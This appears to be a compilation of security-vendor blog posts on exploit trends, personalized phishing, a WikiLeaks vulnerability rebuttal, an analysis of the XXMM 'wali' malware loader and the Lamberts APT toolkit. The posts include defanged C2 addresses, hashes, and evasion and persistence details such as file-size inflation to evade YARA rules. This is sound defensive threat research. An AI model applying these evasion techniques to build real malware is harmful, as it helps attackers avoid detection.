  • Targeted attackers often exploit the same vulnerabilities as general attackers – there are notable similarities between the list of top vulnerabilities used by targeted threat actors in 2010-2016, and those used in all attacks in 2015-2016.

When looking more closely at the applications used by targeted threat actors to mount exploit-based attacks, we weren’t surprised to discover that Windows, Flash and Office top the list.

Exploits: how great is the threat?

Applications and Operation Systems most often exploited by targeted attack groups.

Moreover, the recent leak of multiple exploits allegedly belonging to the Equation cyberespionage group highlighted another known but often overlooked truth: the life of an exploit doesn’t end with the release of a security patch designed to fix the vulnerability being exploited.

Our research suggests that threat actors are still actively and successfully exploiting vulnerabilities patched almost a decade ago – as can be seen in the chart below:

Exploits: how great is the threat?

Everyone loves an exploit

Exploits are an effective delivery tool for malicious payloads and this means they are in high demand among malicious users, whether they are cybercriminal groups, or targeted cyberespionage and cybersabotage actors.

To take just one example, when we looked at our most recent threat statistics we found that exploits to CVE-2010-2568 (used in the notorious Stuxnet campaign) still rank first in terms of the number of users attacked. Almost a quarter of all users who encountered any exploit threat in 2016 were attacked with exploits to this vulnerability.

Conclusion and Advice

The conclusion is a simple one: even if a malicious user doesn’t have access to expensive zero-days, the chances are high that they’d succeed with exploits to old vulnerabilities because there are many systems and devices out there that have not yet been updated.

Even though developers of popular software invest huge resources into finding and eliminating bugs in their products and exploit mitigation techniques, for at least the foreseeable future the challenge of vulnerabilities will remain.

In order to protect your personal or business data from attacks via software exploits, Kaspersky Lab experts advise the following:

  • Keep the software installed on your PC up to date, and enable the auto-update feature if it is available.
  • Wherever possible, choose a software vendor which demonstrates a responsible approach to a vulnerability problem. Check if the software vendor has its own bug bounty program.
  • If you are managing a network of PCs, use patch management solutions that allow for the centralized updating of software on all endpoints under your control.
  • Conduct regular security assessments of the organization’s IT infrastructure.
  • Educate your personnel on social engineering as this method is often used to make a victim open a document or a link infected with an exploit.
  • Use security solutions equipped with specific exploit prevention mechanisms or at least behavior-based detection technologies
  • Give preference to vendors which implement a multilayered approach to protection against cyberthreats, including exploits.

Further details on exploits used in attacks in 2015 and 2016, as well as by the big targeted threat actors over the last six years – and Kaspersky Lab guidance on how to address the threat they present, can be found in the full report.



Personalized Spam and Phishing

no-image

Most spam, especially the sort that is mass-mailed on behalf of businesses, has quite an impersonal format: spammers create a message template for a specific mailing purpose and often drastically diversify the contents of that template. Generally, these kinds of messages do not personally address the recipient and are limited to common phrases such as “Dear Client”. The most that personal data is ever involved is when the name of the mailbox (or part of it) is substituted with the electronic address that the spammer has. Any specifics that may help the recipient ascertain whether the message is addressed personally to him or not, for example, an existing account number, a contract number, or the date of its conclusion, is missing in the message. This impersonality, as a rule, attests toa phishing attempt.

Lately, however, we have been noticing an opposite tendency occurring quite often, wherein fraud becomes personalized and spammers invent new methods to persuade the recipient that the message is addressed personally to him. Thus, in the malicious mailing that we discovered last month, spammers used the actual postal addresses of the recipients in messages to make them seem as credible as possible. This information is sold to evildoers as ready-to-use databases with physical addresses (they are frequently offered for sale in spam messages), collected by evildoers from open sources, or obtained by evildoers when hacking email accounts, for example. Of course, cybercriminals will not have very many of these addresses at their disposal (compared to generated addresses), but they are much more valuable.

Personalized Spam and Phishing

The way spammers organize their personalized attacks plays an important role as well. In general, messages are mass mailed on behalf of an existing company, while the technical headers of fake messages use the company’s actual details.

There are several ways to use valid details. The most unsophisticated method is spoofing, which is substitution of technical headers in messages. The headers can be easily placed with any mass mailing program. In particular, during the spoofing process, the “From” field contains the real address of the sender that the fraudsters have. In this case, spam will be mass-mailed on behalf of the spoofed company, which can stain the company’s reputation quite seriously. Yet, not all technical headers can be substituted when spoofing, and good anti-spam filters will not let these messages through.

Personalized Spam and Phishing

Another method entails sending spam from so-called hijacked infrastructure, which is much harder to do technically, as the mail server of the target company has to be hacked. After gaining control over it, an evildoer can start sending messages with legitimate technical headers from any email address owned by the company and on behalf of any employee who works there. At the same time, the fake message looks quite credible for anti-spam filters and freely travels from server to server, as all of the necessary certificates and digital signatures in the header correspond to genuine counterparts. This would result in losses by both the recipient, who takes the bait of the evildoers (network infection and theft of personal data or business information), and the company, whose infrastructure is abused by the evildoers.

Usually, cybercriminals select small businesses (with up to several dozen employees) as victims for hacking. Owners of so-called parked domains are of particular interest, as parked domains are used by a company without creating a website on these domains.

In the samples detected by us, personalized malicious spam was mass-mailed on behalf of an existing business that was a small company specialized in staff recruitment. The messages contained order delivery notifications that are typical of malicious spam, but also indicated the real postal addresses of the recipients. The messages also contained URLs that were located on legitimate domains and were constantly changing throughout the mailings. If a user navigates to the URL, then malicious software will be downloaded to the user’s computer.

In this way, we may affirm that spam is becoming more personalized and mailing is becoming targeted. With the rising digital literacy of users, this is exactly what evildoers rely upon; It is not so easy to remember all your subscriptions, all your online orders, or where you’ve left your personal data, including addresses. Such an information load calls for the use of smart security solutions and the employment of security measures to protect your “information-driven personality”.

The security is still secure

no-image

Recently WikiLeaks published a report that, among other things, claims to disclose tools and tactics employed by a state-sponsored organization to break into users’ computers and circumvent installed security solutions.

The list of compromised security products includes dozens of vendors and relates to the whole cybersecurity industry. The published report includes a description of vulnerabilities in software products that can be used to bypass protection and jeopardize users’ security.

Customers’ security is a top priority for Kaspersky Lab, and as such we take any information that could undermine users’ protection very seriously. We thoroughly investigate all reported vulnerabilities.

The published report contains descriptions of two vulnerabilities in Kaspersky Lab’s products that have already been fixed. It also includes a number of mentions related to the company’s technologies and past Advanced Persistent Threat (APT) research. I’d like to take this opportunity to address possible concerns regarding the report and provide reliable first-hand information to demonstrate that no current Kaspersky Lab products and technologies are vulnerable.

Vulnerabilities in security solutions

First of all, I’d like to emphasize that the vulnerabilities in Kaspersky Lab’s products listed in the report are related to older versions of the products, and they were publicly disclosed and fixed some time ago. The current versions of our products are not vulnerable to the tools and tactics listed.

The “heapgrd” DLL inject vulnerability was discovered and fixed in Kaspersky Lab products back in 2009. The vulnerability allowed a malefactor to load a third-party DLL instead of the WHEAPGRD.dll file and thus bypass protection. It was patched starting with Kaspersky Internet Security 9 and Kaspersky Antivirus for Workstations MP4. The products that were mentioned in relation to these vulnerabilities (Kaspersky Internet Security 7 and 8 and Kaspersky Antivirus for Workstations MP3) are outdated and no longer supported. All current Kaspersky Lab solutions are subject to mandatory testing against these vulnerabilities prior to release.

The TDSS Killer’s DLL inject vulnerability mentioned in the WikiLeaks report was fixed in 2015.

Product behavior specifics

The report also says Kaspersky Lab’s security solutions do not block DLL injections into user processes and svchost.exe. In fact, we do protect against this sort of attack — in a smarter way that elegantly combines protection and a better user experience.

Nowadays, it’s common practice for legitimate applications to inject their code into user processes. To effectively distinguish legitimate from malicious actions, track changes, and restore unwanted amendments an application may make to the system, Kaspersky Lab’s products have included the System Watcher component since 2011. System Watcher monitors all processes on a device, including svchost.exe, and is capable of detecting malicious behavior, blocking it, and rolling back malicious changes.

The report also describes several tools and malicious programs that were used to collect data and infiltrate the users’ computers. However, all of them can be neutralized with Kaspersky Lab’s products. Let’s take a closer look at them.

First, the RickyBobby fileless Trojan is allegedly not detected by Kaspersky Lab’s products, which is not the case. All personal and enterprise level products can detect this Trojan, prevent the infection, and disinfect a system that was protected by a third-party or outdated security solution.

Second, the report mentions two other malware samples (Fine Dining and Grasshopper) that allegedly are not detected by Kaspersky Lab’s products. However, the report doesn’t provide further details of the malware. We will keep investigating the issue and report the findings as soon as details are available.

That said, we are skeptical: It’s said Fine Dining relies on the aforementioned DLL inject vulnerability in TDSS Killer, which is already fixed. Also it’s worth mentioning that Kaspersky products provide multiple layers of protection — such as emulation, heuristics, System Watcher, and Automatic Exploit Prevention — including those powered by industry-leading machine learning. These technologies are capable of detecting cyberthreats proactively based on their behavior and are constantly improved to address new techniques employed by malicious actors. The analysis of the report makes us optimistic that our customers are already protected against both Fine Dining and Grasshopper.

Third, the report mentions HammerDrill, API Memcry, and Trojan Upclicker, which use a variety of techniques to try to avoid detection by the emulator technology.

Kaspersky Lab’s emulator’s history dates back to the early 90s. It’s rated one of the best in the cybersecurity industry, and it’s continuously improved. The functionality to address the described Trojan Upclicker cloaking method was included in the emulator more than a year ago, for example. The other two tools are effectively managed by the multilayer protection available in Kaspersky Lab’s products both for home users and enterprise customers.

Fourth, the report mentions an MBR File Handle component that is able to circumvent security solutions’ drivers and thus upload malware into the Master Boot Record of the operating system.

In fact, this trick is foiled by the antirootkit technology included in Kaspersky Lab products, which enables them to reliably detect and remove infections — even the most advanced bootkits.

Fifth, another tool mentioned in the report is the Bartender program, which collects data on installed software. This functionality is not malicious and is used by many legitimate applications. However, Kaspersky Lab’s products do provide protection against such activity should a user select the high security level setting.

Fun facts

The other two mentions of Kaspersky Lab in the context of malware creation are actually fun facts.

First, the tool called DriftingShadows checks if Kaspersky Lab’s products are installed on the device, and if it finds them, it does … nothing. This means that the malware creators failed to sneak past our products. They now avoid protected devices so that their malware doesn’t get caught.

Second, the documents also describe a game called “Bonus: Capture the Flag” played among malware creators. It involves attempts to create a malware sample that bypasses Kaspersky Lab’s protection. In other words, malefactors consider our products a gold standard of cybersecurity.

Wrap-up

Investigating the existing report thoroughly, we found two vulnerabilities and several other mentions of Kaspersky Lab, including discussions regarding our reports on the Duqu 2.0 and Equation cyberespionage campaigns. Both vulnerabilities were fixed quite some time ago and pose no threat to our customers. The same goes for the other malicious tools and techniques mentioned.

However, we are staying vigilant and continuously monitoring the situation. WikiLeaks may yet publish more details. In any case, we’d like to reassure customers that addressing any possible vulnerabilities will be our top priority.

No development process guarantees immediate, perfect, permanent invincibility. We are committed to constantly improving the development process, and we also make significant efforts to perfect the process of fixing newly discovered vulnerabilities.

Old Malware Tricks To Bypass Detection in the Age of Big Data

no-image

Kaspersky Lab has been tracking a targeted attack actor’s activities in Japan and South Korea recently. This attacker has been using the XXMM malware toolkit, which was named after an original project path revealed through a pdb string inside the file: “C:\Users\123\documents\visual studio 2010\Projects\xxmm2\Release\test2.pdb”. We came across an unusual technique used by a sample which contained no pdb strings but was very similar to a variant of XXMM malware in terms of code similarity, malware functionality, crypto-algorithm, data structures and module configuration.

The malware sample we observed was named “srvhost.exe” to resemble a standard system process name. It came from one of our partners at the beginning of 2017. One of the most surprising features of the malware was its file size, which is not commonly seen in malware – it was over 100MB. According to our analysis, this malware is a Trojan loader component that activates a backdoor. We could not confirm pdb strings from this malware, however the backdoor module seems to be named “wali” by the author, according to strings from the embedded config block.

Fig. config strings with “[wali]” section

Fig. “wali.exe” name in the malware body

The wali loader decrypts the embedded wali backdoor using the “\x63” byte and a simple XOR operation. The XOR key is not only  . Then, the wali backdoor module is injected into the memory of the iexplore.exe process by the loader.

What is inside the wali loader that makes it so big in size? The reason is that this sample has a very big overlay of junk data. We found more than 20 other similar samples (wali loader + overlay) using open source intelligence and by searching our malware collection using YARA rule. After removing the overlay, there were only six unique samples.

md5_payload md5_payload+overlay size
d1e24c3cc0322b22988a1ce366d702e5 8bd0ddeb11518f3eaaddc6fd82627f33 105982049
e4811950899f44f9d14a786b4c5b1faa 2871ec229804a6e872db55dafa5c9713 105997178
3e24710d7ade27316d367dd8cb2a0b1a 105996860
3e9feea893482b65a68b1feecb71cd4d 105997043
558ca7fa8ed632fa4f8c69e32888af0f 105997191
d11f7b25823ce474e30e8ab9c8d567b0 105996847
f4c3f06faf53ad2bbc047818344a2323 105997181
f7cc6a5a06cd032c6172d14c1568b976 105997102
e7492f11c88d32e1e0b43f6b29604ec8 6a5558e4ab530f9b5c2d5bcc023d3218 105997658
bb8cef31cf6211c584d245be88573e1f 105997755
Table. Some samples of 100M+ bytes wali loader + overlay

 
The overlay data is generated by the wali dropper when the wali loader is installed onto the victim’s machine. The following figure shows the structure of malware components and how they are related to each other:

Fig. Structure of wali modules

Wali dropper1 checks the CPU architecture. If the CPU is 64-bit, this malware decrypts the 64-bit version of the wali loader from resource id 101. Otherwise, it decrypts the 32-bit version of the wali loader from resource id 102. To extract the resource data it uses RC4 with “12345” as the cryptokey, and LZNT1 to decompress the data after that. Dropper1 creates a file named “win${random4 chr}.tmp.bat” in the current temp directory from the decrypted wali dropper2 data. Finally, it appends generated garbage data to the overlay of the dropped file and runs wali dropper2

Wali dropper2 checks if the user account has admin privileges, and decrypts the wali loader using the same algorithm and the same key as of dropper1, and creating new files using the following file paths:

  • %ProgramFiles%\Common Files\System\Ole DB\srvhost.exe
  • %appdata%\Microsoft\Windows\Start Menu\Programs\srvhost.exe

It also appends generated garbage data to the overlay as well, using the same function. Finally, it creates a registry value of “sunUpdate” in  “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run” to ensure malware persistence.

Generation of Junk Data

The feature to appending junk data to the malware executable to inflate the file size is quite unique to wali dropper1 and wali dropper2. We assume that by creating a large file the authors wanted to avoid AV detection, complicate sample exchange and stay below the radar of the most commonly used YARA rules. The function that generates the junk data is shown below:

Fig. Function to create junk data (create_garbage_data).

The create_garbage_data function generates a random byte in a loop with 1,000 iterations. In every iteration it fills blocks of data of random length within certain dynamically calculated limits. After that the result of create_garbage_data is written to the overlay of the decrypted wali loader and the process is repeated 100 times. This produces junk data of ~100MB which is appended to the executable.

Fig. Loop to append the junk data to overlay.

The size of one wali loader (MD5: d1e24c3cc0322b22988a1ce366d702e5) was initially 1,124,352 bytes. The function that appends garbage produced a new malware file in a real attack (MD5: 8bd0ddeb11518f3eaaddc6fd82627f33) and the file size was increased to 105,982,049 bytes.

As the appended junk data is created dynamically and depends on random values, the size of it may vary. We have seen 100MB files as well as 50MB samples used in real world attacks. The largest we observed was a 200MB malware sample created with the same trick. This technique currently doesn’t affect detection of the malware by Kaspersky Lab products. The malware is detected as:

  • Trojan.Win32.Xxmm
  • Trojan.Win64.Xxmm
  • Trojan-Downloader.Win32.Xxmm
  • Trojan-Downloader.Win64.Xxmm
  • Trojan-Dropper.Win32.Xxmm
  • Trojan-Dropper.Win64.Xxmm

Inflating file size with garbage data is not a completely new technique. Previously polymorphic viruses and worms used this technique a lot to mix original code with garbage data spread across the malware file, sometime increasing the file size by hundreds of kilobytes and even megabytes. Certain software protectors may also insert decoy files into packed files and inflate file size up to 1MB. We have also seen executable malwares disguised as movie files and ISO files spread over torrents, which in these cases, the malware size is inflated to a few gigabytes in order to mimic true content .

What is quite unique in using this method and appending junk data to a file is that in this case this technique is used in targeted attacks and is happening after the initial infection, during the later phases of attack with the intention of increasing file size to avoid detection.

While this technique may seem inefficient in its primitive approach to bypass detection, we believe that in certain cases this malware may stay below the radar of incident responders and forensic analysts who use YARA rules to scan harddrives. The reason is that one of the common practices for YARA rule authors is to limit the size of scanned files, which is aimed mainly at improving performance of the scanning process. Large files, like the ones produced by XXMM malware, may become invisible for such rules, which is why we would like to recommend security researchers to consider this when creating rules for dropped malwares.

Indicators of Compromise

SHA256sum of samples

Wali dropper1:

  • 9b5874a19bf112832d8e7fd1a57a2dda180ed50aa4f61126aa1b7b692e6a6665

Wali dropper2:

  • da05667cd1d55fa166ae7bd95335bd080fba7b53c62b0fff248ce25c59ede54a
  • 10fca84ae22351356ead529944f85ef5d68de38024d4c5f6058468eb399cbc30

Wali loader + overlay:

  • 1f73d3a566ab7274b3248659144f1d092c8a5fc281f69aa71b7e459b72eb6db2
  • 24835916af9b1f77ad52ab62220314feea91d976fdacad6c942468e20c0d9ca1
  • 303c9fabf6cff78414cebee9873040aeb9dcf6d69962bd9e0bbe1a656376ed16
  • 3ffd5d3579bddbfd7136a6969c03673284b1c862129cfafe7a40beea1f56e790
  • 803a5a920684a5ab1013cb73bf8581045820f9fc8130407b8f81475d91ff7704
  • d2126d012de7c958b1969b875876ac84871271e8466136ffd14245e0442b6fac
  • d7b661754cae77aa3e77c270974a3fd6bda7548d97609ac174a9ca38ee802596
  • dc5e8c6488f7d6f4dcfac64f8f0755eb8582df506730a1ced03b7308587cdc41
  • f4a07e6dcb49cb1d819c63f17a8250f6260a944e6e9a59e822e6118fb1213031
  • ffd45bde777b112206b698947d9d9635e626d0245eb4cfc1a9365edc36614cbe

Wali loader:

  • a24759369d794f1e2414749c5c11ca9099a094637b6d0b7dbde557b2357c9fcd
  • b55b40c537ca859590433cbe62ade84276f3f90a037d408d5ec54e8a63c4ab31
  • c48a2077e7d0b447abddebe5e9f7ae9f715d190603f6c35683fff31972cf04a8
  • 725dedcd1653f0d11f502fe8fdf93d712682f77b2a0abe1962928c5333e58cae
  • cfcbe396dc19cb9477d840e8ad4de511ddadda267e039648693e7173b20286b1

C2 (compromised web sites) of wali:

  • hXXp://******essel[.]com/mt/php/tmpl/missing.php
  • hXXp://******essel[.]com/mt/mt-static/images/comment/s.php
  • hXXp://******hi[.]com/da******/hinshu/ki******/ki******.php
  • hXXp://******an[.]jp/_module/menu/menug/index.php
  • hXXp://******etop.co[.]jp/includes/firebug/index.php
  • hXXp://******etop.co[.]jp/phpmyadmin/themes/pmahomme/sprites.html
  • hXXp://******usai[.]com/ex-engine/modules/comment/queries/deleteComment.php
  • hXXp://******1cs[.]net/zy/images/patterns/preview/deleteComments.php
  • hXXp://******1cs[.]net/zy/images/colorpicker/s.php

Filename (over 50MB size):

  • srvhost.exe
  • propsyse.exe
  • perfcore.exe
  • oldb32.exe
  • oledb32.exe
  • javaup.exe

Unraveling the Lamberts Toolkit

no-image

Yesterday, our colleagues from Symantec published their analysis of Longhorn, an advanced threat actor that can be easily compared with Regin, ProjectSauron, Equation or Duqu2 in terms of its complexity.

Longhorn, which we internally refer to as “The Lamberts”, first came to the attention of the ITSec community in 2014, when our colleagues from FireEye discovered an attack using a zero day vulnerability (CVE-2014-4148). The attack leveraged malware we called ‘BlackLambert’, which was used to target a high profile organization in Europe.

Since at least 2008, The Lamberts have used multiple sophisticated attack tools against high-profile victims. Their arsenal includes network-driven backdoors, several generations of modular backdoors, harvesting tools, and wipers. Versions for both Windows and OSX are known at this time, with the latest samples created in 2016.

Although the operational security displayed by actors using the Lamberts toolkit is very good, one sample includes a PDB path that points to a project named “Archan~1” (perhaps ‘Archangel’). The root folder on the PDB path is named “Hudson”. This is one of the very few mistakes we’ve seen with this threat actor.

While in most cases the infection vector remains unknown, the high profile attack from 2014 used a very complex Windows TTF zero-day exploit (CVE-2014-4148).

Kaspersky Lab products successfully detect and eradicate all the known malware from the Lamberts family. For more information please contact: [email protected]

An Overview of the Lamberts

Figure 1. Lamberts discovery timeline

The first time the Lambert family malware was uncovered publicly was in October 2014, when FireEye posted a blog about a zero day exploit (CVE-2014-4148) used in the wild. The vulnerability was patched by Microsoft at the same time. We named the malware involved ‘Black Lambert’ and described it thoroughly in a private report, available to Kaspersky APT Intel Reports subscribers.

The authors of Black Lambert included a couple of very interesting details in the sample, which read as the following: toolType=wl, build=132914, versionName = 2.0.0. Looking for similar samples, we were able to identify another generation of related tools which we called White Lambert. While Black Lambert connects directly to its C&C for instructions, White Lambert is a fully passive, network-driven backdoor.

Black Lambert White Lambert
Implant type Active Passive
toolType wl aa (“ArchAngel”)
build 132914 113140
versionName 2.0.0 5.0.2

Internal configuration similarities in Black and White Lambert

White Lambert runs in kernel mode and intercepts network traffic on infected machines. It decrypts packets crafted in a special format to extract instructions. We named these passive backdoors ‘White Lambert’ to contrast with the active “Black Lambert” implants.

Looking further for any other malware related to White Lambert and Black Lambert, we came by another generation of malware that we called Blue Lambert.

One of the Blue Lambert samples is interesting because it appears to have been used as second stage malware in a high profile attack, which involved the Black Lambert malware.

Looking further for malware similar to Blue Lambert, we came by another family of malware we called Green Lambert. Green Lambert is a lighter, more reliable, but older version of Blue Lambert. Interestingly, while most Blue Lambert variants have version numbers in the range of 2.x, Green Lambert is mostly in 3.x versions. This stands in opposition to the data gathered from export timestamps and C&C domain activity that points to Green Lambert being considerably older than the Blue variant. Perhaps both Blue and Green Lamberts have been developed in parallel by two different teams working under the same umbrella, as normal software version iterations, with one seeing earlier deployment than the other.

Signatures created for Green Lambert (Windows) have also triggered on an OS X variant of Green Lambert, with a very low version number: 1.2.0. This was uploaded to a multiscanner service in September 2014. The OS X variant of Green Lambert is in many regards functionally identical to the Windows version, however it misses certain functionality such as running plugins directly in memory.

Kaspersky Lab detections for Blue, Black, and Green Lamberts have been triggered by a relatively small set of victims from around the world. While investigating one of these infections involving White Lambert (network-driven implant) and Blue Lambert (active implant), we found yet another family of tools that appear to be related. We called this new family Pink Lambert.

The Pink Lambert toolset includes a beaconing implant, a USB-harvesting module and a multi-platform orchestrator framework which can be used to create OS-independent malware. Versions of this particular orchestrator were found on other victims, together with White Lambert samples, indicating a close relationship between the White and Pink Lambert malware families.

By looking further for other undetected malware on victims of White Lambert, we found yet another apparently related family. The new family, which we called Gray Lambert is the latest iteration of the passive network tools from the Lamberts’ arsenal. The coding style of Gray Lambert is similar to the Pink Lambert USB-harvesting module, however, the functionality mirrors that of White Lambert. Compared to White Lambert, Gray Lambert runs in user mode, without the need for exploiting a vulnerable signed driver to load arbitrary code on 64-bit Windows variants.

Connecting all these different families by shared code, data formats, C&C servers, and victims, we have arrived at the following overarching picture:

Figure 2. An overview of connections between the Lambert families

The Lamberts in Brief – from Black to Gray

Below, we provide a small summary of all the Lamberts. A full description of all variants is available to subscribers of Kaspersky APT Reports. Contact [email protected]

Black Lambert

The only known sample of Black Lambert was dropped by a TTF-exploit zero day (CVE-2014-4148). Its internal configuration included a proxy server which suggests the malware was created to work in a very specific network configuration, inside the victim’s network.

An internal description of Black Lambert indicates what appears to be a set of markers used by the attackers to denote this particular branch: toolType=wl, build=132914, versionName = 2.0.0.

Hash Description
683afdef710bf3c96d42e6d9e7275130 generic loader (hdmsvc.exe)
79e263f78e69110c09642bbb30f09ace winlib.dll, final payload (toolType=wl)

Blue Lambert

The Blue Lambert implants contain what appear to be version numbers in the 2.x range, together with project/operation codename sets, which may also indicate codenames for the victims or campaigns.

Unraveling the Lamberts Toolkit

Figure 4. Blue Lambert configuration in decrypted form, highlighting internal codenames

Known codenames include TRUE CRIME (2.2.0.2), CERVELO YARDBIRD (2.6.1.1), GAI SHU (2.2.0.5), DOUBLESIDED SCOOBYSNACK (2.3.0.2), FUNNELCAKE CARNIVAL (2.5.0.2), PROSPER SPOCK (2.0.0.2), RINGTOSS CARNIVAL (2.4.2.2), COD FISH (2.2.0.0), and INVERTED SHOT (2.6.2.3).

Green Lambert

Green Lambert is a family of tools deeply related to Blue Lambert. The functionality is very similar, both Blue and Green are active implants. The configuration data shares the same style of codenames for victims, operations, or projects.

Unraveling the Lamberts Toolkit

Figure 5. Green Lambert configuration block (decrypted) highlighting internal codenames

The Green Lambert family is the only one where non-Windows variants have been found. An old version of Green Lambert, compiled for OS X was uploaded from Russia to a multiscanner service in 2014. Its internal codename is HO BO (1.2.0).

The Windows versions of Green Lambert have the following code names: BEARD BLUE (2.7.1), GORDON FLASH (3.0), APE ESCAPE (3.0.2), SPOCK LOGICAL (3.0.2), PIZZA ASSAULT (3.0.5), and SNOW BLOWER (3.0.5).

Interestingly, one of the droppers of Green Lambert abused an ICS software package named “Subway Environmental Simulation Program” or “SES”, which has been available on certain forums visited by engineers working with industrial software. Similar techniques have been observed in the past from other threat groups, for instance, trojanized Oracle installers by the Equation group.

White Lambert

White Lambert is a family of tools that share the same internal description as Black Lambert. Known tool types, builds, and version names include:

  • ToolType “aa”, protocol 3, version 7, versionName 5.0.2, build 113140
  • ToolType “aa”, protocol 3, version 7, versionName 5.0.0, build 113140
  • ToolType “aa”, protocol 3, version 6, versionName 4.2.0, build 110836M
  • ToolType “aa”, protocol 3, version 5, versionName 3.2.0

One of the White Lambert samples is interesting because it has a forgotten PDB path inside, which points to “Archan~1l” and “Hudson”. Hudson could point to a project name, if the authors name their projects by rivers in the US, or, it could also be the developer’s first name. The truncated (8.3) path “archan~1” most likely means “Archangel”. The tool type “aa” could also suggest “ArchAngel”. By comparison, the Black Lambert tool type “wl” has no known meaning.

Unraveling the Lamberts Toolkit

White Lambert samples run in kernel mode and sniff network traffic looking for special packets containing instructions to execute. To run unsigned code in kernel mode on 64-bit Windows, White Lambert uses an exploit against a signed, legitimate SiSoftware Sandra driver. The same method was used before by Turla, ProjectSauron, and Equation’s Grayfish, with other known, legitimate drivers.

Pink Lambert

Pink Lambert is a suite of tools initially discovered on a White Lambert victim. It includes a beaconing implant, partially based on publicly available source code. The source code on top of which Pink Lambert’s beaconing implant was created is “A Fully Featured Windows HTTP Wrapper in C++”.

Unraveling the Lamberts Toolkit

Figure 6. “A Fully Featured Windows HTTP Wrapper” by shicheng

Other tools in the Pink Lambert suite include USB stealer modules and a very complex multi-platform orchestrator.

In a second incident, a Pink Lambert orchestrator was found on another White Lambert victim, substantiating the connection between the Pink and White Lamberts.

Gray Lambert

Gray Lambert is the most recent tool in the Lamberts’ arsenal. It is a network-driven backdoor, similar in functionality to White Lambert. Unlike White Lambert, which runs in kernel mode, Gray Lambert is a user-mode implant. The compilation and coding style of Gray Lambert is similar to the Pink Lambert USB stealers. Gray Lambert initially appeared on the computers of victims infected by White Lambert, which could suggest the authors were upgrading White Lambert infections to Gray. This migration activity was last observed in October 2016.

Some of the known filenames for Gray Lambert are mwapi32.dll and poolstr.dll – it should be pointed though that the filenames used by the Lamberts are generally unique and have never been used twice.

Timeline

Most of the Blue and Green Lambert samples have two C&C servers hardcoded in their configuration block: a hostname and an IP address. Using our own pDNS as well as DomainTools IP history, we plotted the times when the C&C servers were active and pointing to the same IP address as the one from the configuration block.

Unfortunately, this method doesn’t work for all samples, since some of them don’t have a domain for C&C. Additionally, in some cases we couldn’t find any pDNS information for the hostname configured in the malware.

Luckily, the attackers have made a few mistakes, which allow us to identify the activity times for most of the other samples. For instance, in case when no pDNS information was available for a subdomain on top of the main C&C domain, the domain registration dates were sufficient to point out when the activity began. Additionally, in some cases the top domain pointed to the same IP address as the one from the configuration file, allowing us to identify the activity times.

Another worthwhile analysis method focuses on the set of Blue Lambert samples that have exports. Although most compilation timestamps in the PE header appear to have been tampered (to reflect a 2003-2004 range), the authors forgot to alter the timestamps in the export section. This allowed us to identify not just the activity / compilation timestamps, but also the method used for faking the compilation timestamps in the PE header.

It seems the algorithm used to tamper with the samples was the following: subtract 0x10 from the highest byte of timestamp (which amounts to about 8 and half years) and then randomize the lowest 3 bytes. This way we conclude that for Blue Lamberts, that original compilation time of samples was in the range of 2012-2015.

Putting together all the various families, with recovered activity times, we come to the following picture:

Figure 8. A timeline of activity for known Lamberts

As it can be seen from the chart above, Green Lambert is the oldest and longest-running in the family, while Gray is the newest. White, Blue and Pink somehow overlap in deployment, with Blue replacing Green Lambert. Black Lambert was seen only briefly and we assume it was “retired” from the arsenal after being discovered by FireEye in 2014.

The threat group(s) behind the Lambert toolkits have used a large number of codenames extensively throughout their projects. Some of these codenames are references to old computer games, Star Trek, and cartoons, which is very unusual for high profile APT groups. We really enjoyed going through the backstories of these codenames and wanted to provide them below for others to enjoy as well.

For instance, one of the Green Lambert versions has the internal codename “GORDON FLASH”, which can also be read as “FLASH GORDON”. Flash Gordon is the hero of a space opera adventure comic strip created by and originally drawn by Alex Raymond. It was first published in 1934 and subsequently turned into a popular film in 1980.

Unraveling the Lamberts Toolkit

Flash Gordon poster

A ‘Funnel cake’ is a regional food popular in North America at carnivals, fairs, sporting events, and seaside resorts. This explains the codename “FUNNELCAKE CARNIVAL”:

Unraveling the Lamberts Toolkit

Figure 9. A typical funnel cake

Spock and Prosper obviously refers to Star Trek, the well-known science fiction television series created by Gene Roddenberry. Cdr. Spock is a half-Vulcan, half-human character, portrayed by Leonard Nimoy. “Live long and prosper” is the traditional Vulcan greeting in the series.

Unraveling the Lamberts Toolkit

Leonard Nimoy as “Spock” displaying the traditional Vulcan greeting “Live long and prosper”

Ringtoss is a game that is very popular at carnivals in North America.

Unraveling the Lamberts Toolkit

DOUBLESIDED SCOOBYSNACK is likely a reference to an NFL Lip Reading video featuring Adrian Peterson that went viral in mid-2013. According to the urban dictionary, it is also used to denote a sexual game in which the participants are dressed as Scooby-Doo and his master.

Ape Escape (also known as Saru Get You (サルゲッチュ Saru Getchu) in Japan) is a series of video games made by SCE Japan Studio, starting with Ape Escape for PlayStation in 1999. The series often incorporates ape-related humor, unique gameplay, and a wide variety of pop culture references; it is also notable for being the first game to make the DualShock or Dual Analog controller mandatory.

Ape Escape

INVERTED SHOT is likely a reference to a mixed martial arts move also known as an ‘Imanari roll takedown’, named after Masakazu Imanari who popularized the grappling technique. It consists of a modified Brazilian jiu-jitsu granby roll that places the fighter in inverted guard position while taking the opponent down to the mat.

GAI and SHU (as used in Green Lambert OS X) are characters from the Guilty Crown anime series. Gai Tsutsugami (恙神 涯 Tsutsugami Gai) is the 17-year-old resourceful and charismatic leader of the “Funeral Parlor” resistance group, while Shu Ouma (桜満 集 Ōma Shū) is the 17-year-old main protagonist of Guilty Crown.

Unraveling the Lamberts Toolkit

Figure 10. Main characters of Guilty Crown with Shu Ouma in the middle.

Conclusions

The Lamberts toolkit spans across several years, with most activity occurring in 2013 and 2014. Overall, the toolkit includes highly sophisticated malware, which relies on high-level techniques to sniff network traffic, run plugins in memory without touching the disk, and leverages exploits against signed drivers to run unsigned code on 64-bit Windows.

To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit, deployment of Black Lambert included a rather sophisticated TTF zero day exploit, CVE-2014-4148. Taking that into account, we classify the Lamberts as the same level of complexity as Regin, ProjectSauron, Equation and Duqu2, which makes them one of the most sophisticated cyber espionage toolkits we have ever analysed.

Considering the complexity of these projects and the existence of an implant for OS X, we assume that it is highly possible that other Lamberts also exist for other platforms, such as Linux. The fact that in the vast majority of cases the infection method is unknown probably means there are still a lot of unknown details about these attacks and the group(s) leveraging them.

As usual, defense against attacks such as those from the Lamberts/Longhorn should include a multi-layered approach. Kaspersky products include special mitigation strategies against the malware used by this group, as well as the many other APT groups we track. If you are interested in reading more about effective mitigation strategies in general, we recommend the following articles:

